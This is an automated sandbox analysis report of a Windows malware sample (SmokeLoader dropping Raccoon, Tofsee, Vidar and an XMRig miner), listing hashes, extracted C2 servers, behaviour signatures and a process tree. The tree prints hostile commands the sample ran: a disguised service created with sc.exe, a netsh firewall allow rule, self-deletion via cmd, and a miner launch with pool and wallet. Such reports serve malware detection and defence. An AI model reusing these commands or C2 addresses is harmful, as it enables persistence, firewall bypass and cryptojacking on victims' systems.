Resubmissions

01/02/2022, 09:10

220201-k4279scee5 10

15/01/2022, 13:42

220115-qztyzsefhn 10

12/01/2022, 12:30

220112-ppk3nacfbl 10

10/01/2022, 10:49

220110-mwsd7sebe3 10

07/01/2022, 20:35

220107-zc2jzsdaeq 10

07/01/2022, 10:05

220107-l4rxzacba8 10

06/01/2022, 22:46

220106-2qch5abff5 10

06/01/2022, 19:07

220106-xsnxqabhfl 10

06/01/2022, 15:26

220106-svedvabda5 10

06/01/2022, 15:25

220106-st3p2sbgcq 10

Analysis

  • max time kernel
    391s
  • max time network
    885s
  • platform
    windows7_x64
  • resource
    win7-ja-20211208
  • submitted
    07/01/2022, 10:05

General

  • Target

    4446186b0133b453f35a839b841ba453377c9a5638c1d81ee2313bb3adc22aaf.exe

  • Size

    339KB

  • MD5

    b75726b4b619811b4c50d917822a4083

  • SHA1

    ed8b418d7357609ce03c4f7123c0bb711b9d227d

  • SHA256

    4446186b0133b453f35a839b841ba453377c9a5638c1d81ee2313bb3adc22aaf

  • SHA512

    59516fdf6334f4005c7881322eb9a057939804e18ba8f13d0cb48fdc460aab19570c482e87700c6884807e1c885864ed422646f3150d9df731a10ecf5a7e05c9

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

patmushta.info

parubey.info

Extracted

Family

raccoon

Botnet

10da56e7e71e97bdc1f36eb76813bbc3231de7e4

Attributes
  • url4cnc

    http://194.180.174.53/capibar

    http://91.219.236.18/capibar

    http://194.180.174.41/capibar

    http://91.219.236.148/capibar

    https://t.me/capibar

rc4.plain
rc4.plain

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 3 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 32 IoCs
  • Modifies Installed Components in the registry 2 TTPs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 4 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Drops file in System32 directory 13 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 4 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:464
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious use of SetThreadContext
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        PID:888
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {A8256B53-C56B-45F7-99AB-001CF07B6B33} S-1-5-21-3846991908-3261386348-1409841751-1000:VQVVOAJK\Admin:Interactive:[1]
          3⤵
            PID:2804
            • C:\Users\Admin\AppData\Roaming\usvdaus
              C:\Users\Admin\AppData\Roaming\usvdaus
              4⤵
              • Executes dropped EXE
              • Checks SCSI registry key(s)
              • Suspicious behavior: MapViewOfSection
              PID:2088
            • C:\Users\Admin\AppData\Roaming\wfvdaus
              C:\Users\Admin\AppData\Roaming\wfvdaus
              4⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              PID:2220
              • C:\Users\Admin\AppData\Roaming\wfvdaus
                C:\Users\Admin\AppData\Roaming\wfvdaus
                5⤵
                • Executes dropped EXE
                PID:3160
          • C:\Windows\system32\taskeng.exe
            taskeng.exe {91496572-4D66-4C0D-9EFC-B9CA3A550415} S-1-5-18:NT AUTHORITY\System:Service:
            3⤵
              PID:4012
            • C:\Windows\system32\taskeng.exe
              taskeng.exe {B2FDD065-BBBB-4D32-BF98-9CB4212D0ED1} S-1-5-21-3846991908-3261386348-1409841751-1000:VQVVOAJK\Admin:Interactive:[1]
              3⤵
                PID:1380
                • C:\Program Files\Mozilla Firefox\default-browser-agent.exe
                  "C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task
                  4⤵
                    PID:644
                • C:\Windows\system32\taskeng.exe
                  taskeng.exe {FE433530-6F2C-4E13-9176-862CC54BDE10} S-1-5-21-3846991908-3261386348-1409841751-1000:VQVVOAJK\Admin:Interactive:[1]
                  3⤵
                    PID:2196
                • C:\Windows\SysWOW64\wrtyismp\ubfefmv.exe
                  C:\Windows\SysWOW64\wrtyismp\ubfefmv.exe /d"C:\Users\Admin\AppData\Local\Temp\79B9.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:1880
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    3⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:968
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      4⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1232
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                  2⤵
                  • Drops file in System32 directory
                  • Checks processor information in registry
                  • Modifies data under HKEY_USERS
                  • Modifies registry class
                  PID:1184
              • C:\Users\Admin\AppData\Local\Temp\4446186b0133b453f35a839b841ba453377c9a5638c1d81ee2313bb3adc22aaf.exe
                "C:\Users\Admin\AppData\Local\Temp\4446186b0133b453f35a839b841ba453377c9a5638c1d81ee2313bb3adc22aaf.exe"
                1⤵
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:664
                • C:\Users\Admin\AppData\Local\Temp\4446186b0133b453f35a839b841ba453377c9a5638c1d81ee2313bb3adc22aaf.exe
                  "C:\Users\Admin\AppData\Local\Temp\4446186b0133b453f35a839b841ba453377c9a5638c1d81ee2313bb3adc22aaf.exe"
                  2⤵
                  • Checks SCSI registry key(s)
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: MapViewOfSection
                  PID:472
              • C:\Users\Admin\AppData\Local\Temp\40F6.exe
                C:\Users\Admin\AppData\Local\Temp\40F6.exe
                1⤵
                • Executes dropped EXE
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:1784
              • C:\Users\Admin\AppData\Local\Temp\5565.exe
                C:\Users\Admin\AppData\Local\Temp\5565.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:372
                • C:\Users\Admin\AppData\Local\Temp\5565.exe
                  C:\Users\Admin\AppData\Local\Temp\5565.exe
                  2⤵
                  • Executes dropped EXE
                  • Checks SCSI registry key(s)
                  • Suspicious behavior: MapViewOfSection
                  PID:960
              • C:\Users\Admin\AppData\Local\Temp\6D88.exe
                C:\Users\Admin\AppData\Local\Temp\6D88.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                PID:1076
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\6D88.exe" & exit
                  2⤵
                    PID:1936
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /t 5
                      3⤵
                      • Delays execution with timeout.exe
                      PID:1956
                • C:\Users\Admin\AppData\Local\Temp\79B9.exe
                  C:\Users\Admin\AppData\Local\Temp\79B9.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:2012
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wrtyismp\
                    2⤵
                      PID:1752
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ubfefmv.exe" C:\Windows\SysWOW64\wrtyismp\
                      2⤵
                        PID:288
                      • C:\Windows\SysWOW64\sc.exe
                        "C:\Windows\System32\sc.exe" create wrtyismp binPath= "C:\Windows\SysWOW64\wrtyismp\ubfefmv.exe /d\"C:\Users\Admin\AppData\Local\Temp\79B9.exe\"" type= own start= auto DisplayName= "wifi support"
                        2⤵
                          PID:1164
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\System32\sc.exe" description wrtyismp "wifi internet conection"
                          2⤵
                            PID:876
                          • C:\Windows\SysWOW64\sc.exe
                            "C:\Windows\System32\sc.exe" start wrtyismp
                            2⤵
                              PID:1832
                            • C:\Windows\SysWOW64\netsh.exe
                              "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                              2⤵
                                PID:1868
                            • C:\Users\Admin\AppData\Local\Temp\82AF.exe
                              C:\Users\Admin\AppData\Local\Temp\82AF.exe
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Suspicious use of SetThreadContext
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:1104
                              • C:\Users\Admin\AppData\Local\Temp\82AF.exe
                                C:\Users\Admin\AppData\Local\Temp\82AF.exe
                                2⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1796
                            • C:\Windows\SysWOW64\explorer.exe
                              C:\Windows\SysWOW64\explorer.exe
                              1⤵
                              • Accesses Microsoft Outlook profiles
                              • outlook_office_path
                              PID:604
                            • C:\Windows\explorer.exe
                              C:\Windows\explorer.exe
                              1⤵
                                PID:1880
                              • C:\Users\Admin\AppData\Local\Temp\ECF7.exe
                                C:\Users\Admin\AppData\Local\Temp\ECF7.exe
                                1⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Checks processor information in registry
                                PID:932
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\ECF7.exe" & exit
                                  2⤵
                                    PID:1636
                                    • C:\Windows\SysWOW64\timeout.exe
                                      timeout /t 5
                                      3⤵
                                      • Delays execution with timeout.exe
                                      PID:964
                                • C:\Users\Admin\AppData\Local\Temp\1EE.exe
                                  C:\Users\Admin\AppData\Local\Temp\1EE.exe
                                  1⤵
                                  • Executes dropped EXE
                                  PID:1376
                                • C:\Users\Admin\AppData\Local\Temp\3265.exe
                                  C:\Users\Admin\AppData\Local\Temp\3265.exe
                                  1⤵
                                  • Executes dropped EXE
                                  PID:1832
                                • C:\Windows\system32\taskmgr.exe
                                  "C:\Windows\system32\taskmgr.exe" /4
                                  1⤵
                                  • Suspicious behavior: GetForegroundWindowSpam
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  PID:604
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                  1⤵
                                  • Enumerates system info in registry
                                  • Suspicious use of FindShellTrayWindow
                                  PID:1764
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef62e4f50,0x7fef62e4f60,0x7fef62e4f70
                                    2⤵
                                      PID:1884
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1396 /prefetch:8
                                      2⤵
                                        PID:280
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1112 /prefetch:2
                                        2⤵
                                          PID:456
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1716 /prefetch:8
                                          2⤵
                                            PID:1392
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2088 /prefetch:1
                                            2⤵
                                              PID:2100
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2080 /prefetch:1
                                              2⤵
                                                PID:2092
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2872 /prefetch:8
                                                2⤵
                                                  PID:2196
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2752 /prefetch:2
                                                  2⤵
                                                    PID:2316
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1332 /prefetch:1
                                                    2⤵
                                                      PID:2388
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3144 /prefetch:8
                                                      2⤵
                                                        PID:2400
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3276 /prefetch:8
                                                        2⤵
                                                          PID:2408
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3832 /prefetch:8
                                                          2⤵
                                                            PID:2560
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4048 /prefetch:8
                                                            2⤵
                                                              PID:2596
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3840 /prefetch:8
                                                              2⤵
                                                                PID:2632
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3952 /prefetch:8
                                                                2⤵
                                                                  PID:2640
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3656 /prefetch:8
                                                                  2⤵
                                                                    PID:2676
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3712 /prefetch:8
                                                                    2⤵
                                                                      PID:2744
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3804 /prefetch:8
                                                                      2⤵
                                                                        PID:2780
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3752 /prefetch:8
                                                                        2⤵
                                                                          PID:2820
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3452 /prefetch:8
                                                                          2⤵
                                                                            PID:2856
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3720 /prefetch:1
                                                                            2⤵
                                                                              PID:2892
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4116 /prefetch:1
                                                                              2⤵
                                                                                PID:2960
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=952 /prefetch:8
                                                                                2⤵
                                                                                  PID:3040
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=612 /prefetch:8
                                                                                  2⤵
                                                                                    PID:2200
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 /prefetch:8
                                                                                    2⤵
                                                                                      PID:456
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1648 /prefetch:8
                                                                                      2⤵
                                                                                        PID:2416
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1852 /prefetch:8
                                                                                        2⤵
                                                                                          PID:2564
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1936 /prefetch:1
                                                                                          2⤵
                                                                                            PID:2620
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
                                                                                            2⤵
                                                                                              PID:2700
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2424 /prefetch:8
                                                                                              2⤵
                                                                                                PID:2776
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2272 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:2880
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3776 /prefetch:8
                                                                                                  2⤵
                                                                                                    PID:2920
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=944 /prefetch:1
                                                                                                    2⤵
                                                                                                      PID:2936
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1392 /prefetch:8
                                                                                                      2⤵
                                                                                                        PID:3016
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2748 /prefetch:8
                                                                                                        2⤵
                                                                                                          PID:2496
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3664 /prefetch:8
                                                                                                          2⤵
                                                                                                            PID:3068
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3664 /prefetch:1
